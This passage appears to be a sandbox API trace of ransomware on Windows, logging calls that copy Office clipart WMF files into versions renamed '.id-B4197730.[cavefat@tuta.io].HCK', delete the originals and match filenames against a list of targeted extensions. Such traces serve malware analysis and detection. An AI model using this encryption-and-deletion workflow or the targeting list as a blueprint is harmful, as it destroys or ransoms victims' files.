dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0233.579] GetLastError () returned 0x0 [0233.579] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x614c, lpOverlapped=0x0) returned 1 [0233.581] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x6150, lpOverlapped=0x0) returned 1 [0233.582] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.582] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.582] SetEndOfFile (hFile=0x4a0) returned 1 [0233.582] CloseHandle (hObject=0x4a0) returned 1 [0233.582] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.582] SetEndOfFile (hFile=0x4b4) returned 1 [0233.584] CloseHandle (hObject=0x4b4) returned 1 [0233.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0233.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0233.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0233.586] lstrlenW (lpString=".doc") returned 4 [0233.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.586] lstrlenW (lpString=".docx") returned 5 [0233.586] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0233.586] lstrlenW (lpString=".pdf") returned 4 [0233.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.586] lstrlenW (lpString=".xls") returned 4 [0233.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.586] lstrlenW (lpString=".xlsx") returned 5 [0233.586] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0233.586] lstrlenW (lpString=".ppt") returned 4 [0233.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0233.586] lstrlenW (lpString=".zip") returned 4 [0233.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.586] lstrlenW (lpString=".rar") returned 4 [0233.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.586] lstrlenW (lpString=".bz2") returned 4 [0233.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.586] lstrlenW (lpString=".7z") returned 3 [0233.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0233.586] lstrlenW (lpString=".dbf") returned 4 [0233.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0233.586] lstrlenW (lpString=".1cd") returned 4 [0233.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0233.586] lstrlenW (lpString=".jpg") returned 4 [0233.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0233.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0233.587] lstrlenW (lpString=".doc") returned 4 [0233.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.587] lstrlenW (lpString=".docx") returned 5 [0233.587] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0233.587] lstrlenW (lpString=".pdf") returned 4 [0233.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.587] lstrlenW (lpString=".xls") returned 4 [0233.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.587] lstrlenW (lpString=".xlsx") returned 5 [0233.587] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0233.587] lstrlenW (lpString=".ppt") returned 4 [0233.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0233.587] lstrlenW (lpString=".zip") returned 4 [0233.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.587] lstrlenW (lpString=".rar") returned 4 [0233.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.587] lstrlenW (lpString=".bz2") returned 4 [0233.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.587] lstrlenW (lpString=".7z") returned 3 [0233.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0233.587] lstrlenW (lpString=".dbf") returned 4 [0233.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0233.587] lstrlenW (lpString=".1cd") returned 4 [0233.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0233.587] lstrlenW (lpString=".jpg") returned 4 [0233.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.587] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.587] lstrlenW (lpString="J0107182.WMF") returned 12 [0233.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.588] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=16100) returned 1 [0233.588] CloseHandle (hObject=0x4b4) returned 1 [0233.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 0x220 [0233.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.589] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.589] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0233.589] GetLastError () returned 0x0 [0233.589] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x3ee4, lpOverlapped=0x0) returned 1 [0233.869] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0233.870] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.870] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.870] SetEndOfFile (hFile=0x4a0) returned 1 [0233.968] CloseHandle (hObject=0x4a0) returned 1 [0233.968] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.968] SetEndOfFile (hFile=0x4b4) returned 1 [0233.993] CloseHandle (hObject=0x4b4) returned 1 [0233.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 1 [0233.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0233.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0233.995] lstrlenW (lpString=".doc") returned 4 [0233.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.995] lstrlenW (lpString=".docx") returned 5 [0233.995] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.995] lstrlenW (lpString=".pdf") returned 4 [0233.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.995] lstrlenW (lpString=".xls") returned 4 [0233.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.995] lstrlenW (lpString=".xlsx") returned 5 [0233.995] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.995] lstrlenW (lpString=".ppt") returned 4 [0233.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0233.995] lstrlenW (lpString=".zip") returned 4 [0233.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.995] lstrlenW (lpString=".rar") returned 4 [0233.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.995] lstrlenW (lpString=".bz2") returned 4 [0233.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.995] lstrlenW (lpString=".7z") returned 3 [0233.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0233.995] lstrlenW (lpString=".dbf") returned 4 [0233.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0233.995] lstrlenW (lpString=".1cd") returned 4 [0233.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0233.995] lstrlenW (lpString=".jpg") returned 4 [0233.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0233.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0233.996] lstrlenW (lpString=".doc") returned 4 [0233.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.996] lstrlenW (lpString=".docx") returned 5 [0233.996] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0233.996] lstrlenW (lpString=".pdf") returned 4 [0233.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.996] lstrlenW (lpString=".xls") returned 4 [0233.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.996] lstrlenW (lpString=".xlsx") returned 5 [0233.996] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0233.996] lstrlenW (lpString=".ppt") returned 4 [0233.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0233.996] lstrlenW (lpString=".zip") returned 4 [0233.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.996] lstrlenW (lpString=".rar") returned 4 [0233.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.996] lstrlenW (lpString=".bz2") returned 4 [0233.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.996] lstrlenW (lpString=".7z") returned 3 [0233.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0233.996] lstrlenW (lpString=".dbf") returned 4 [0233.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0233.996] lstrlenW (lpString=".1cd") returned 4 [0233.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0233.996] lstrlenW (lpString=".jpg") returned 4 [0233.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.996] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.996] lstrlenW (lpString="J0107314.WMF") returned 12 [0233.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.998] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10852) returned 1 [0233.998] CloseHandle (hObject=0x4b4) returned 1 [0233.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 0x220 [0233.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0233.999] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.999] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0234.000] GetLastError () returned 0x0 [0234.000] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x2a64, lpOverlapped=0x0) returned 1 [0234.001] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2a70, lpOverlapped=0x0) returned 1 [0234.002] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.002] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.002] SetEndOfFile (hFile=0x4a0) returned 1 [0234.002] CloseHandle (hObject=0x4a0) returned 1 [0234.002] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.002] SetEndOfFile (hFile=0x4b4) returned 1 [0234.006] CloseHandle (hObject=0x4b4) returned 1 [0234.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0234.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0234.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0234.007] lstrlenW (lpString=".doc") returned 4 [0234.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.007] lstrlenW (lpString=".docx") returned 5 [0234.007] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0234.007] lstrlenW (lpString=".pdf") returned 4 [0234.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.007] lstrlenW (lpString=".xls") returned 4 [0234.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.007] lstrlenW (lpString=".xlsx") returned 5 [0234.007] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0234.007] lstrlenW (lpString=".ppt") returned 4 [0234.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0234.007] lstrlenW (lpString=".zip") returned 4 [0234.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.007] lstrlenW (lpString=".rar") returned 4 [0234.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.008] lstrlenW (lpString=".bz2") returned 4 [0234.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.008] lstrlenW (lpString=".7z") returned 3 [0234.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0234.008] lstrlenW (lpString=".dbf") returned 4 [0234.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0234.008] lstrlenW (lpString=".1cd") returned 4 [0234.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0234.008] lstrlenW (lpString=".jpg") returned 4 [0234.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0234.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0234.008] lstrlenW (lpString=".doc") returned 4 [0234.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.008] lstrlenW (lpString=".docx") returned 5 [0234.008] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0234.008] lstrlenW (lpString=".pdf") returned 4 [0234.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.008] lstrlenW (lpString=".xls") returned 4 [0234.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.008] lstrlenW (lpString=".xlsx") returned 5 [0234.008] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0234.008] lstrlenW (lpString=".ppt") returned 4 [0234.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0234.008] lstrlenW (lpString=".zip") returned 4 [0234.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.008] lstrlenW (lpString=".rar") returned 4 [0234.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.008] lstrlenW (lpString=".bz2") returned 4 [0234.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.008] lstrlenW (lpString=".7z") returned 3 [0234.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0234.008] lstrlenW (lpString=".dbf") returned 4 [0234.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0234.008] lstrlenW (lpString=".1cd") returned 4 [0234.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0234.008] lstrlenW (lpString=".jpg") returned 4 [0234.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.008] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.009] lstrlenW (lpString="J0107316.WMF") returned 12 [0234.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0234.009] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11288) returned 1 [0234.009] CloseHandle (hObject=0x4b4) returned 1 [0234.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 0x220 [0234.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0234.010] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.010] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0234.011] GetLastError () returned 0x0 [0234.011] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x2c18, lpOverlapped=0x0) returned 1 